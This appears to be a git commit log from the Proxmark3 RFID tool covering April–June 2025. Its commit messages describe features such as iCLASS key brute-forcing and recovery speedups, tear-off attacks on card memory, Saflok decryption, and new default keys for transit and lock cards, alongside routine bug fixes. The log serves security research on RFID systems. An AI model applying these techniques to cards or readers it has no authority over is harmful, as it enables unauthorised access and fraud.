Added an option for hf iclass legrec to further increase speeds by using a shorter delay of 1500 vs the default of 3390.
This seems to be stable on new silicon especially now that we're keeping the field always on.
It may be more risky for the --fast operation.
2025-06-06 16:06:53 +08:00
Iceman
edcd9b4ca9
Merge pull request #2885 from Antiklesys/master
Implemented working multithreading support in hf iclass legbrute
2025-06-06 09:59:29 +02:00
Antiklesys
566d9957a8
Update cmdhficlass.c
Signed-off-by: Antiklesys <syselkitna@gmail.com>
2025-06-06 12:07:13 +08:00
Antiklesys
6a9c3d4dcd
Update cmdhficlass.c
Signed-off-by: Antiklesys <syselkitna@gmail.com>
2025-06-06 12:03:15 +08:00
Antiklesys
a79b1b9e82
Update cmdhficlass.c
Signed-off-by: Antiklesys <syselkitna@gmail.com>
2025-06-06 11:34:23 +08:00
Antiklesys
411c684e6a Implemented working multithreading support in hf iclass legbrute
Implemented key nibble based multithreading support for hf iclass legbrute.
It takes the whole iclass keyspace based on the first 4 bits of the key value (from 0x0 to 0xF) and divides it across the number of available threads.

E.g. on a 8 threads implementation:
- thread 1 will test keys starting with 0x0 onwards
- thread 2 will test keys starting with 0x2 onwards
- thread 3 will test keys starting with 0x4 onwards
- thread 4 will test keys starting with 0x6 onwards
- thread 5 will test keys starting with 0x8 onwards
- thread 6 will test keys starting with 0xA onwards
- thread 7 will test keys starting with 0xC onwards
- thread 8 will test keys starting with 0XE onwards
2025-06-06 11:25:46 +08:00
Iceman
e2a1f30b40
Merge pull request #2884 from Antiklesys/master
Updated hf iclass legrec with a fast option and improved AA2 selection
2025-06-05 16:48:36 +02:00
Antiklesys
fd098ba12f Update iclass.c 2025-06-05 21:29:01 +08:00
Antiklesys
7acf507826 Update iclass.c
Minor optimizations to remove duplicate code
2025-06-05 21:18:03 +08:00
Antiklesys
ab84cb459a
Update cmdhficlass.c
Signed-off-by: Antiklesys <syselkitna@gmail.com>
2025-06-05 20:57:47 +08:00
Antiklesys
b46930394a Update CHANGELOG.md 2025-06-05 20:48:45 +08:00
Antiklesys
f3404d841c Merge branch 'master' of https://github.com/Antiklesys/proxmark3 2025-06-05 20:45:45 +08:00
Antiklesys
083a9ce945 Updated hf iclass legrec with a fast option and improved AA2 selection
1- Added a --fast option for hf iclass legrec that further increases the speed from 4.6 key updates/second to 7.4 key updates/second. This is achieved by skipping some safety checks and is a very fast but more risky operation.
2- Automated AA2 block selection based on the values in the config block
3- Other minor code cleanups
2025-06-05 20:44:58 +08:00
Iceman
5c5ce2144d
Merge pull request #2883 from Antiklesys/master
Fixed loclass --test
2025-06-05 12:40:50 +02:00
Antiklesys
82268b9a69 Fixed loclass --test
Updated code to fix loclass --test function now that iclass_key.bin is no longer in the repository as the master key has been added in the code.
2025-06-05 17:37:22 +08:00
Iceman
fd5e79b991
Merge pull request #2882 from n-hutton/iclass_build_issues
change seed, making new iclass builds work again
2025-06-05 00:01:03 +02:00
n-hutton
3ef1486e79 change seed, making new iclass builds work again 2025-06-04 22:03:56 +01:00
iceman1001
186ed6fb07 make style 2025-06-04 18:05:30 +02:00
Iceman
fb13d52e7c
Merge pull request #2881 from Antiklesys/master
Improved hf iclass legrec speed by 147%
2025-06-04 17:31:44 +02:00
Antiklesys
7225ea6ac4
Update iclass.c
Removed unused value of blockno

Signed-off-by: Antiklesys <syselkitna@gmail.com>
2025-06-04 22:46:44 +08:00
Antiklesys
81d7ac1f59
Update iclass.c
Re-added stop tracing in main loop to avoid crashes

Signed-off-by: Antiklesys <syselkitna@gmail.com>
2025-06-04 22:41:30 +08:00
Antiklesys
a5ee3f50b6 Update CHANGELOG.md 2025-06-04 22:35:49 +08:00
Antiklesys
d654f6e78f Improved hf iclass legrec speed
Improved the speed of hficlass legrec from 7200 keys / hrs to 17800 keys / hr by removing the need to drop the field and re-select, re-authenticate with the card at every loop.
Re-select and re-authenticate will still happen if there's a read error and a loop needs to be repeated.
2025-06-04 22:34:28 +08:00
Iceman
0fc3d533e6
Merge pull request #2880 from dandri/master
Update mfc_default_keys.dic
2025-06-04 07:12:27 +02:00
dandri
320646c573
Update mfc_default_keys.dic
add key for Waferlock shadow programming card and shadow user card
2025-06-04 00:19:59 +00:00
Iceman
4e5b514315
Merge pull request #2879 from ry4000/master
R&Y: Updated MAD TTP AID in `aid_desfire.json`
2025-06-04 00:34:42 +02:00
ry4000
cb131c2718
R&Y: Updated MAD TTP AID in aid_desfire.json
### Updated
- `000001` is not the MAD Tarjeta Transporte Público AID; it is actually `010000`, so removed references to it on that AID.
- `010000` removed the `(Alternative Endian)` designation.

Many thanks in advance, and kind regards

-R&Y.

Signed-off-by: ry4000 <154689120+ry4000@users.noreply.github.com>
2025-06-04 08:00:30 +10:00
Iceman
9701c6f0c3
Merge pull request #2877 from Antiklesys/master
Fpga images from orca release
2025-06-03 12:43:22 +02:00
Antiklesys
a04fa57f86 Fpga images from orca release
Fpga images from orca
2025-06-03 18:09:22 +08:00
Iceman
be67eb123b
Merge pull request #2876 from n-hutton/no_dt_strip
revert date/time strip because of possible error with blue ice release
2025-06-03 11:57:53 +02:00
n-hutton
0871dfe99a revert date/time strip because of possible error with blue ice release 2025-06-02 19:25:49 +01:00
Iceman
e9241a8462
Merge pull request #2875 from ry4000/master
R&Y: Updated `aid_desfire.json`
2025-06-02 10:33:22 +02:00
ry4000
f9fbc2cf41
Merge branch 'RfidResearchGroup:master' into master 2025-06-02 18:06:52 +10:00
ry4000
13d8a3570b
R&Y: Added ATH ATH.ENA, ECN motion, and PHL FREEDOM AIDs to aid_desfire.json
### Added
- ATH ATH.ENA CARD
- ECN motion BUS CARD
- PHL PATCO FREEDOM Card

Many thanks in advance, and kind regards,

-R&Y.

Signed-off-by: ry4000 <154689120+ry4000@users.noreply.github.com>
2025-06-02 18:06:28 +10:00
Iceman
f861f2d438
Merge pull request #2874 from Antiklesys/master
Updated hf iclass tearoff
2025-06-02 10:02:06 +02:00
Antiklesys
296c375092 Updated hf iclass tearoff
1- Automated tearoff for epurse without needing to pass the block data (manual mode still available)
2- Improved read loop of original values (to reduce instances in which the block appears zeroed out)
3- Added a "fault tolerance" system to increase the threshold of read errors for old silicon cards before being shown to the user
4- Removed auth requirement to read blocks below 3
2025-06-02 15:52:20 +08:00
ry4000
34ddd4a75c
Merge branch 'RfidResearchGroup:master' into master 2025-06-02 17:50:07 +10:00
iceman1001
810eaeac25 string trimming 2025-06-01 14:37:55 +02:00
Iceman
9be3473864
Merge pull request #2872 from apply-science/patch-1
Update Makefile
2025-06-01 07:39:33 +02:00
apply-science
91a16e4d9e
Update Makefile
Openssl@1.1 was disabled 2024-10-24 due to not being supported upstream and blocked from install. Updated to openssl@3.5 in order for compilation to be successful on machines installed after that date. Older machines is encouraged to update.

Signed-off-by: apply-science <106422483+apply-science@users.noreply.github.com>
2025-06-01 00:14:23 +02:00
Iceman
4acc370dbf
Merge pull request #2871 from Antiklesys/master
Updated hf iclass legrec
2025-05-31 12:33:16 +02:00
Antiklesys
2b2a1cc0a2 Updated hf iclass legrec
Updated hf iclass legrec to support pm3 button interrupt for user abort
Cleaned up messaging to look more neat and tidy during the process
2025-05-31 14:09:00 +08:00
iceman1001
749c23a6b5 iclass tear on device side , moved around debug printing not to disturb timings between reading and writing tag during stabilize weak bit phase 2025-05-30 20:46:27 +02:00
Iceman
359469c0a5
Merge pull request #2870 from Antiklesys/master
Updated hf iclass legrec
2025-05-30 20:33:43 +02:00
Antiklesys
23d9783b26 Updated hf iclass legrec
Updated hf iclass legrec:
1- Fixed communication timing inconsistencies by moving away from iclass_writeblock_ext to iclass_writeblock_sp which supports start_time and end_time
2- Reduced number of debug messages being printed

Overall this reduces slightly the speed of the process, but it should make it more stable as the timings are now all correctly being accounted for.
2025-05-31 02:15:13 +08:00
Iceman
be65279475
Merge pull request #2869 from Antiklesys/master
Modified iclass recover and tear operations
2025-05-30 09:31:57 +02:00
Antiklesys
2105dbc379
Update iclass.c
Clarified what tear success means

Signed-off-by: Antiklesys <syselkitna@gmail.com>
2025-05-30 13:05:25 +08:00
Antiklesys
db9667d0fb
Update CHANGELOG.md
Signed-off-by: Antiklesys <syselkitna@gmail.com>
2025-05-30 13:02:11 +08:00
Antiklesys
c32f655023 Improved hf iclass tear erase phase readability
Improved readability of erase phase during iclass tear (client and arm side).
It is redundant to see a list of FF during the erase phase (which can be pretty lengthy), so it will only show it once when all bits are FF and then will resume printing the moment bits start changing again post erase phase.
2025-05-30 13:00:35 +08:00
Antiklesys
04cfe2a43e Modified iclass recover operations
1- Renamed legreclookup to legbrute to be in line with the command name
2- Updated estimate values with speed increase gains
3- Improved some if statements readability in iclass.c and added start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER; to increase speed by ~8% (1.86 loops per second to 2.01 loops per second = ~560 more loops per hour).

Tried disabling some arm communications/comments but the speed increase was negligible (~1 sec / 1000 updates).
2025-05-30 12:36:42 +08:00
iceman1001
83837699e1 text , but the ultralight detect in 14a info is a bit confusing. This PR was intended to make it more clear. We still need to improve the text output 2025-05-30 01:38:55 +02:00
iceman1001
804acfbefa the device side of iclass tear off is implemented. The base was done by @antiklesys. This version differs by the concept of trying to stabilize weak bits by performing a write operation in conjuction with the detected tear. Its untested but I can replicate most of the tears we performed client side. You will need to call the proxmark3 client with -f , ./pm3 -f to force flush out text which is needed for the inplace printing. I thought this was done automatically but it wasnt. hf iclass tear --arm + all the normal params to run on device side 2025-05-30 01:37:13 +02:00
iceman1001
f0022e4280 text 2025-05-29 14:52:49 +02:00
Iceman
90210fe588
Merge pull request #2853 from sup3rgiu/mfu-counters
Fixed SimulateIso14443aTag() to make MFU counter increments persistent in emulator memory.
2025-05-29 14:44:13 +02:00
iceman1001
7b9fe29cf3 hf iclass info - show AA2 key if found 2025-05-29 11:05:52 +02:00
iceman1001
18e4c072e7 style 2025-05-28 20:54:05 +02:00
iceman1001
a223570dbf hf iclass tear - only inform about read failures and keep on, instead of quiting command 2025-05-28 20:52:51 +02:00
iceman1001
0479a1b82e text 2025-05-28 20:52:14 +02:00
iceman1001
b2e587afa5 missing break, migth lead to strange behavior 2025-05-28 20:51:51 +02:00
Iceman
79e72fc8bf
Merge pull request #2859 from pelrun/bl
Add "hf mf bambukeys" command to generate Bambu Lab keys
2025-05-28 18:10:57 +02:00
Iceman
490c211361
Merge branch 'master' into bl
Signed-off-by: Iceman <iceman@iuse.se>
2025-05-28 18:10:16 +02:00
Iceman
9287e872f1
Merge pull request #2865 from Arkwin/patch-2
Saflok Parsing
2025-05-28 18:09:13 +02:00
Iceman
ce0431601a
Merge pull request #2867 from Antiklesys/master
Updated hf iclass info for silicon check
2025-05-28 18:08:15 +02:00
Antiklesys
503c03caa2 Update CHANGELOG.md 2025-05-29 00:00:19 +08:00
Antiklesys
bbd6f51586 Updated hf iclass info for silicon check
Updated hf iclass info to use silicone identification based on CSN rather than hf 14b responsiveness
This reverted 4f85def6b0
2025-05-28 23:59:17 +08:00
iceman1001
ada340de94 fix exit call 2025-05-27 14:52:04 +02:00
iceman1001
01e57db5f1 text 2025-05-27 10:12:58 +02:00
iceman1001
585670d55c hf iclass tear - text output and when e-purse get cleared it stops and informs user 2025-05-27 09:44:27 +02:00
iceman1001
4e07fc2b31 if enabled but no delay, then disable tear off just in case. enforce user to set a delay. if not this function will be triggered over and over which might confuse users normal operation 2025-05-27 09:43:11 +02:00
Kara Zajac
e35a4e292d
Used make style
Fixed some code comments and ran make style

Signed-off-by: Kara Zajac <Arkwin.Advanced@gmail.com>
2025-05-26 23:39:25 -04:00
Kara Zajac
176b543069
Saflok Parsing
Added when a Saflok card is detected, it decrypts and parses the data, outputting it to the screen.

Previous security researchers did this work, and I merely adapted it from the Flipper Zero code to the Proxmark3 code.

Their info is below:

// Decryption and parsing from: https://gitee.com/wangshuoyue/unsaflok
// Decryption algorithm and parsing published by Shuoyue Wang
// Parsing also inspired by Lennert Wouters and Ian Carroll's DEFCON 32 talk
// https://defcon.org/html/defcon-32/dc-32-speakers.html
// FZ parser by @Torron, with help from @xtruan, @zacharyweiss, @evilmog and kara (@Arkwin)

Signed-off-by: Kara Zajac <Arkwin.Advanced@gmail.com>
2025-05-26 15:46:23 -04:00
Iceman
744107035f
Merge pull request #2864 from Antiklesys/master
Updated hf iclass tear to break endless read loop
2025-05-26 19:37:43 +02:00
Antiklesys
b378a369d1 Updated hf iclass tear to break endless read loop
Updated hf iclass tear to break endless read loop when the card can't be read anymore during the tear operation. Set a 10 attempts limit.
2025-05-26 23:53:33 +08:00
Iceman
ee16112d29
Merge pull request #2863 from Antiklesys/master
Updated hf iclass tear
2025-05-26 11:15:47 +02:00
Antiklesys
23928b4041 Updated hf iclass tear
Updated hf iclass tear with the following improvements:

1- Show failed read if ran in verbose mode
2- Improved out logic when tearing block 1
3- Showing fuses comparison table when tearoff affects block 1 fuses
2025-05-26 16:01:06 +08:00
ry4000
66c57e8652
Merge branch 'RfidResearchGroup:master' into master 2025-05-26 17:46:52 +10:00
ry4000
8c3d0c7957
R&Y: Added BCN T-mobilitat and SMARTair AIDs to aid_desfire.json
### Added AIDs
- BCN T-mobilitat
- PACS SMARTair

Signed-off-by: ry4000 <154689120+ry4000@users.noreply.github.com>
2025-05-26 17:14:54 +10:00
iceman1001
b8e8c41f28 fix the cut of version and git sha-hash 2025-05-25 20:29:15 +02:00
Iceman
3ff2f28305
Merge pull request #2862 from Antiklesys/master
Updated tearoff repeat to not go below original start value and show …
2025-05-25 15:51:27 +02:00
Antiklesys
1349b6d282 Updated tearoff repeat to not go below original start value and show loop count
Updated tearoff repeat to not go below original start value and show loop count
2025-05-25 21:50:17 +08:00
Iceman
d5fb619308
Merge pull request #2861 from Antiklesys/master
Updated hf iclass tear to not run if the authentication fuses are blown
2025-05-25 14:44:29 +02:00
iceman1001
eecdad7ac8 text 2025-05-25 14:40:46 +02:00
Antiklesys
8d3e301b55 Updated hf iclass tear to not run if the authentication fuses are blown
Updated hf iclass tear to not run if the authentication fuses are blown.
Or it will just get stuck at the beginning and not start anyway. At least this informs the users why this is happening.
2025-05-25 20:36:35 +08:00
iceman1001
4b92118f1f clear trace log before starting to run hf iclass tear 2025-05-25 11:29:43 +02:00
Iceman
428ee718d3
Merge pull request #2860 from Antiklesys/master
Fixed authentication read for iclass tear
2025-05-25 11:11:39 +02:00
Antiklesys
d402903db5 Fixed authentication read for iclass tear
If the card flips to nonsecure mode during the tearoff of block 1, this read command will be stuck.
So we can disable auth completely when trying to read block 1 as that block doesn't require authentication anyway for reading operations.
2025-05-25 17:10:31 +08:00
iceman1001
4da2a9a496 text 2025-05-25 10:55:11 +02:00
iceman1001
dcec8d6e71 text 2025-05-25 10:50:40 +02:00
iceman1001
74f1936132 convert to our calloc instead since we prefer to know allocated shared memory is empty. Also removed a malloc(1) which is just a waste of bytes just like @NVX said a year ago at DefCon 2025-05-25 09:55:32 +02:00
iceman1001
96c58db8e8 style and making sure within limits not to trigger overflows 2025-05-24 22:50:56 +02:00
iceman1001
607f1bb26c style 2025-05-24 22:49:46 +02:00
iceman1001
bb0445d886 text 2025-05-24 21:45:14 +02:00
iceman1001
36e7736603 text 2025-05-24 21:34:17 +02:00
iceman1001
b6a39768a1 text 2025-05-24 21:30:23 +02:00
iceman1001
00c5af4256 text 2025-05-24 21:14:58 +02:00
James Churchill
c312bae516 Add "hf mf bambukeys" command to generate Bambu Lab keys 2025-05-25 00:18:25 +10:00
iceman1001
0d8bb030d1 text 2025-05-24 15:40:13 +02:00
iceman1001
473b5679e2 hf iclass dump - I got tired so now the command defaults to use AA1 key when called without a key or key index 2025-05-24 14:21:36 +02:00
iceman1001
a2f9012e13 text 2025-05-24 12:33:11 +02:00
iceman1001
841828eb48 hf iclass tear - output texts 2025-05-24 11:43:34 +02:00
Iceman
fd129df163
Merge pull request #2858 from Antiklesys/master
Updated iclass tear colors
2025-05-24 09:47:48 +02:00
Antiklesys
45ae30fe88 Updated iclass tear colors
Removed a huge chunk of colorful visual spam for when the tearoff isn't happening
2025-05-24 13:48:52 +08:00
iceman1001
ad50e59738 hf iclass tear - some more granular printing and colors when tearing 2025-05-23 23:47:45 +02:00
iceman1001
d4bc190dd4 renamed the hf iclass trdbl -> hf iclass tear 2025-05-23 17:29:28 +02:00
Iceman
8be79bb781
Merge pull request #2857 from Antiklesys/master
updated hf iclass trbl to support unsecure page mode
2025-05-23 14:55:36 +02:00
Antiklesys
335c1444bd updated hf iclass trbl to support unsecure page mode
Added unsecure page mode support
2025-05-23 19:06:25 +08:00
Iceman
d078680bb6
Merge pull request #2856 from Antiklesys/master
hf iclass trbl bugfixes
2025-05-23 11:59:45 +02:00
Antiklesys
2119e46701 Merge branch 'master' of https://github.com/Antiklesys/proxmark3 2025-05-23 17:11:09 +08:00
Antiklesys
07bfef1550 Bugfixes on hf iclass trbl
Fixed tearoff trigger staying enabled in case of keyboard interruption
2025-05-23 17:11:07 +08:00
Iceman
6e517a40f5
Merge pull request #2855 from Antiklesys/master
Updated hf iclass trbl to support looping
2025-05-23 11:08:49 +02:00
Antiklesys
1ca356531e
Merge branch 'master' into master
Signed-off-by: Antiklesys <syselkitna@gmail.com>
2025-05-23 17:04:09 +08:00
Antiklesys
fbbfeaa977 Update cmdhficlass.c 2025-05-23 17:00:41 +08:00
iceman1001
c716467a7e fixed output for hf iclass trbl to not have tear off debug message and its more compact now 2025-05-23 10:52:09 +02:00
Antiklesys
047b94fbaa Updated hf iclass trbl to support looping
Implemented a functionality for hf iclass trbl to specify how many times to loop at specific delays.
2025-05-23 16:32:48 +08:00
Iceman
4f2b35872d
Merge pull request #2854 from Antiklesys/master
hf iclass trbl bugfixes and improvements
2025-05-23 10:12:09 +02:00
Antiklesys
f9322dfe6c Updated trbl
Fixed a bug preventing tearoff stages from being detected correctly, increased verbosity of read data and granularity of displayed information
2025-05-23 15:55:53 +08:00
sup3rgiu
6765c2294c Updated changelog 2025-05-22 20:10:58 +02:00
sup3rgiu
a753485054 Updated Changelog 2025-05-22 20:09:19 +02:00
sup3rgiu
d5beb66508 Fixed SimulateIso14443aTag() to make MFU counter increments persistent in emulator memory.
- Fixed arguments for `SimulateIso14443aInit` in `hf_msdsal.c`, `hf_cardhopper.c`, `hf_reblay.c` and `hf_tcprst.c`.
2025-05-22 19:57:30 +02:00
Iceman
3b5ee30e05
Merge pull request #2851 from n-hutton/python_strip_dockerimg
update readme based on @shuffle2 feedback
2025-05-21 07:06:46 +02:00
n-hutton
74c66d89ff update readme based on @shuffle2 feedback 2025-05-20 23:28:20 +01:00
iceman1001
84b565bec4 style 2025-05-19 22:31:41 +02:00
iceman1001
b90348e66b mingw and proxspace 3.xx environments would hang on Windows 11 24H2 since WMIC is no longer installed. This should enable the usage of powershell to enumerate serial ports on said environments 2025-05-19 22:27:50 +02:00
Iceman
a021ada83f
Merge pull request #2849 from Antiklesys/master
Updated trbl to support custom increments
2025-05-18 16:45:45 +02:00
Antiklesys
59e4875e6c Updated trbl to support custom increments
Updated iclass tearoff function to support custom delay increments
2025-05-18 20:41:04 +08:00
Iceman
1287454781
Merge pull request #2848 from Antiklesys/master
Updated iclass trbl effectiveness to detect partial tearoffs
2025-05-17 21:00:10 +02:00
Antiklesys
c156e33ad9 Update CHANGELOG.md 2025-05-18 01:57:59 +08:00
Antiklesys
67fb546887 Update iclass trbl function
Updated trbl function:
1- Better comparison of read values vs expected values
2- Stop on "partial values tearoff", show tearoff results when the block isn't zero, but is also different from the original block (even tho is not yet with the same values of the expected block)
3- Improvement to verbose mode
2025-05-18 01:54:55 +08:00
Iceman
70275e3d56
Merge pull request #2847 from Antiklesys/master
iclass tearoff attack fixes
2025-05-17 19:40:17 +02:00
Antiklesys
23232f8aa3 iclass tearoff attack fixes
Fixed spacing, time unit, and fixed a bug preventing from properly using the credit key.
2025-05-17 23:19:10 +08:00
Iceman
fe4ee76ff9
Merge pull request #2846 from Antiklesys/master
Fix bug with iclass legbrute index value being ignored
2025-05-16 17:38:08 +02:00
Antiklesys
3c35a87dee Fix bug with iclass legbrute index value being ignored
Fixed issue https://github.com/RfidResearchGroup/proxmark3/issues/2845
2025-05-16 23:19:26 +08:00
Iceman
a3d7cfcf4a
Merge pull request #2844 from mak-42/hf-mfu-ultra
Add script enables restoring dump to ULTRA/UL-5 tags and clear previously written ULTRA tags
2025-05-12 22:30:58 +02:00
Dmitry Malenok
a9244b8ea4 The '-f' option replaces the direct specification of the dump filename in the '-r' command. 2025-05-12 22:33:26 +03:00
Iceman
1199710644
Merge branch 'master' into new-keys
Signed-off-by: Iceman <iceman@iuse.se>
2025-05-12 19:28:39 +02:00
Iceman
814c86d078
Merge pull request #2839 from imhexp/master
Add Andalusian public transport card keys
2025-05-12 19:24:49 +02:00
Philipp Schuler
5b9039d825 Ignore UnicodeEncodeError in lprint 2025-05-12 08:34:42 +02:00
Iceman
a33ba30092
Merge pull request #2841 from jkramarz/usart_jdy23
Add option to override default USART baud rate in platform settings
2025-05-11 23:24:11 +02:00
Iceman
dc772aae6b
Merge pull request #2843 from ry4000/master
R&Y: Added SDS 11 A/B MFC Keys & LAS RTC TAP & GO AID
2025-05-11 23:23:52 +02:00
Iceman
55cab29364
Merge pull request #2840 from jkramarz/seos_sanitize
Fix invalid memory access in select_DF_verify
2025-05-11 23:22:27 +02:00
Dmitry Malenok
0cbf42e0ec The description of wipe operation was clarified. 2025-05-11 13:41:18 +03:00
Dmitry Malenok
8227834730 Added hf_mfu_ultra.lua script enables restoring dump to ULTRA/UL-5 tags and clearing previously written ULTRA tags 2025-05-11 13:32:21 +03:00
ry4000
2a895383c9
Added LAS RTC TAP & GO AID to aid_desfire.json
- Added LAS RTC TAP & GO AID

Many thanks in advance, and kind regards,

-R&Y.

Signed-off-by: ry4000 <154689120+ry4000@users.noreply.github.com>
2025-05-10 22:08:05 +10:00
ry4000
d06a152c69
Added SDS 11 A/B (Gen 2) Keys to mfc_default_keys.dic
- Added SDS 11 A/B (Gen 2) Keys with thanks to @DrekkCuga.

Many thanks in advance, and kind regards,

-R&Y.

Signed-off-by: ry4000 <154689120+ry4000@users.noreply.github.com>
2025-05-10 22:01:11 +10:00
Jakub Kramarz
9744f8afbb Add option to override default USART baud rate in platform settings 2025-05-09 15:53:30 +02:00
Jakub Kramarz
2163d78126 cmdhfseos: fix invalid memory access in select_DF_verify
The real default key index in CmdHfSeosGDF passed to select_DF_verify was different than documented, resulting in out of bound read.
2025-05-09 00:05:43 +02:00
Jakub Kramarz
0655b6389e cmdhfseos: fix stack buffer overflow in select_DF_verify
increased CMAC buffer size, otherwise memset in aes_cmac writes 16-bytes to 8-byte buffer
2025-05-08 23:52:01 +02:00
hexp
2ed6c90e28 Add Consorcio de Transportes de Andalucía and EMT Málaga card keys 2025-05-05 18:40:04 +02:00
Philippe Teuwen
b36b61feb0 clean the client only if PLATFORM got changed from or to PM3ICOPYX 2025-05-02 16:54:13 +02:00
iceman1001
b2983ba025 convertion between size and int might cause type convertion confusing 2025-05-01 08:35:41 +02:00
iceman1001
c847896a15 fix #2835 due to wrong variable used to calculate the size of the emulator memory to download , all get memory from emulator memory failed with a block no larger that 30-ish 2025-05-01 08:34:39 +02:00
iceman1001
42cdd34e59 fix #2834 refactored to use local pointer, no modification of input polling_parameters pointer is done. The compilation error error: initializer element is not constant .frames should be fixed. Using defines and removed some global vars 2025-04-30 18:55:07 +02:00
iceman1001
cb4a0e2333 rename struct to follow code style 2025-04-30 13:27:41 +02:00
Iceman
45ce045276
Merge pull request #2832 from kitsunehunter/update-downgrade-guide
Update downgrade guide with support for elatec reader
2025-04-29 18:02:39 +02:00
Xavier
c2cba6eadd
Delete traces/iclass/config directory
Signed-off-by: Xavier <90627943+kitsunehunter@users.noreply.github.com>
2025-04-29 11:36:25 -04:00
Xavier
bb08fd2b42
file location changes
Signed-off-by: Xavier <90627943+kitsunehunter@users.noreply.github.com>
2025-04-29 11:34:50 -04:00
Xavier
4746e4a2be
utilities for twn4
Signed-off-by: Xavier <90627943+kitsunehunter@users.noreply.github.com>
2025-04-29 11:33:22 -04:00
Philipp Schuler
2eb9d7f661 Add keys for Aral Gas Station Car-Wash cards 2025-04-29 12:53:04 +02:00
Xavier
03c44244bf
instruction
Signed-off-by: Xavier <90627943+kitsunehunter@users.noreply.github.com>
2025-04-28 21:34:13 -04:00
Xavier
1a69d609d0
Update hid_downgrade.md
Signed-off-by: Xavier <90627943+kitsunehunter@users.noreply.github.com>
2025-04-28 21:28:04 -04:00
Xavier
d052a64a47
text
Signed-off-by: Xavier <90627943+kitsunehunter@users.noreply.github.com>
2025-04-28 21:26:08 -04:00
Xavier
7068d59f6a
Update hid_downgrade.md
Signed-off-by: Xavier <90627943+kitsunehunter@users.noreply.github.com>
2025-04-28 21:24:11 -04:00
Xavier
e31276199f
bad store link
Signed-off-by: Xavier <90627943+kitsunehunter@users.noreply.github.com>
2025-04-28 21:21:21 -04:00
Xavier
4f55fbe4e4
encoder
Signed-off-by: Xavier <90627943+kitsunehunter@users.noreply.github.com>
2025-04-28 19:21:52 -04:00
Xavier
8314077fe9
conf
Signed-off-by: Xavier <90627943+kitsunehunter@users.noreply.github.com>
2025-04-28 19:18:23 -04:00
Xavier
2965aa0d45
Add files via upload
Signed-off-by: Xavier <90627943+kitsunehunter@users.noreply.github.com>
2025-04-28 19:17:50 -04:00
Xavier
3be06e21aa
Delete traces/iclass/elatec twn4 config directory
Signed-off-by: Xavier <90627943+kitsunehunter@users.noreply.github.com>
2025-04-28 19:17:25 -04:00
Xavier
62a7b1a6dd
configs and utility
Signed-off-by: Xavier <90627943+kitsunehunter@users.noreply.github.com>
2025-04-28 19:15:54 -04:00
Xavier
ac0ad3e7c3
elatec twn4 configs and utilities
Signed-off-by: Xavier <90627943+kitsunehunter@users.noreply.github.com>
2025-04-28 19:08:27 -04:00
Xavier
76d8fa060c
link
Signed-off-by: Xavier <90627943+kitsunehunter@users.noreply.github.com>
2025-04-28 19:05:50 -04:00
Xavier
bf6d9f3531
Update hid_downgrade.md
Signed-off-by: Xavier <90627943+kitsunehunter@users.noreply.github.com>
2025-04-28 19:03:58 -04:00
Iceman
48812b9bf2
Merge pull request #2831 from gentilkiwi/patch-1
Update intertic.py to support [FRA] Valenciennes
2025-04-27 10:48:41 +02:00
Benjamin DELPY
3f43c061d7
Update intertic.py to support [FRA] Valenciennes
Signed-off-by: Benjamin DELPY <benjamin@gentilkiwi.com>
2025-04-26 21:58:06 +02:00
Iceman
ed97f94e2f
Merge pull request #2830 from gentilkiwi/patch-1
Update intertic.py with better parser for T2C / Clermont-Ferrand
2025-04-25 07:27:33 +02:00
Benjamin DELPY
b5b14e246b
Update intertic.py with better parser for T2C / Clermont-Ferrand
Signed-off-by: Benjamin DELPY <benjamin@gentilkiwi.com>
2025-04-24 22:31:39 +02:00
Philippe Teuwen
c3a7a11ae7 change iso15693 nxp originality check from PK_MFC to PK_15 2025-04-24 22:23:35 +02:00
Philippe Teuwen
e86e5fd293 python: generalize find_tool() 2025-04-22 15:30:57 +02:00
Iceman
d64ee17c93
Merge pull request #2829 from nvx/cardhopper-fixes
cardhopper fixes
2025-04-22 04:41:49 +02:00
nvx
812c58f601 cardhopper fixes
make usart write buffer const
sub out magic numbers with defines
fix edge case handling 255/256 byte frames (including crc)
add sanity checks to avoid buffer overrun on some "should never happen" edge cases
don't wait for rats reply from card before listening to next reader frame
cap fsci to 8 (256 bytes) as that's the most the proxmark3 codebase currently handles
eliminate 1k of ram usage by tweaking how emulation responses are sent
2025-04-21 23:17:47 +10:00
Iceman
430d5cd3b9
Merge pull request #2824 from kormax/magsafe-polling-config
Move `mag`safe polling argument to `hf 14a config`
2025-04-21 04:34:53 +02:00
kormax
3550f11726 Remove mag argument from commands; Add support for magsafe polling via 14a config 2025-04-20 17:55:55 +03:00
Philippe Teuwen
49521078e5 fix mf aes key length and typo in make help 2025-04-20 11:20:14 +02:00
Philippe Teuwen
a8a1c77343 Fix hf 14a info on Desfire cases, thanks NVX for pointing it! 2025-04-18 19:38:32 +02:00
Iceman
50b12485a1
Merge pull request #2825 from SecLabz/st25_tearoff_standalone
Added new standalone mode `HF_ST25_TEAROFF` to store/restore ST25TB t…
2025-04-18 05:37:17 +02:00
Iceman
3ca7fe8bce
Merge pull request #2827 from amenekowo/master
fix fm11rf08s_full log encoding type error
2025-04-18 05:21:17 +02:00
Iceman
8f4d3026cb
Merge pull request #2826 from shuffle2/master
fix offset transferred in ntag424_read_data
2025-04-18 05:20:45 +02:00
Ame Neko
8dbfd018a3
fm11rf08s_full: log file format use utf-8
Signed-off-by: Ame Neko <91962831+amenekowo@users.noreply.github.com>
2025-04-18 11:11:39 +08:00
Shawn Hoffman
bfbc2fd09d fix offset transferred in ntag424_read_data 2025-04-16 14:20:58 -07:00
SecLabz
0970558491
Edit hf_st25_tearoff.c comment
Signed-off-by: SecLabz <85152038+SecLabz@users.noreply.github.com>
2025-04-16 15:47:52 +02:00
seclabz
19789381df Added new standalone mode HF_ST25_TEAROFF to store/restore ST25TB tags with tearoff for counters (@seclabz) 2025-04-16 14:05:10 +02:00
kormax
eb2324ed93 Remove ecp argument from commands 2025-04-15 23:20:46 +03:00
Philippe Teuwen
cf3cb6e03a dyslexia 2025-04-14 13:51:55 +02:00
Philippe Teuwen
013a7a4caf rewrite hf 14a info with full AN10833 Rev 3.8 and a few extra 2025-04-14 10:37:16 +02:00
iceman1001
a8fa5dae1a add MAD key 2025-04-13 12:25:33 +02:00
iceman1001
bc1c47e81b style 2025-04-13 12:25:14 +02:00
Philippe Teuwen
926fbe5354 Fixed hf mf fchk --mem to actually use flash dict 2025-04-12 13:22:27 +02:00
Philippe Teuwen
dfc40a2ea3 fix GetHF14AMfU_Type for MFUL types with RandomID activated 2025-04-11 08:22:19 +02:00
Iceman
55327112a8
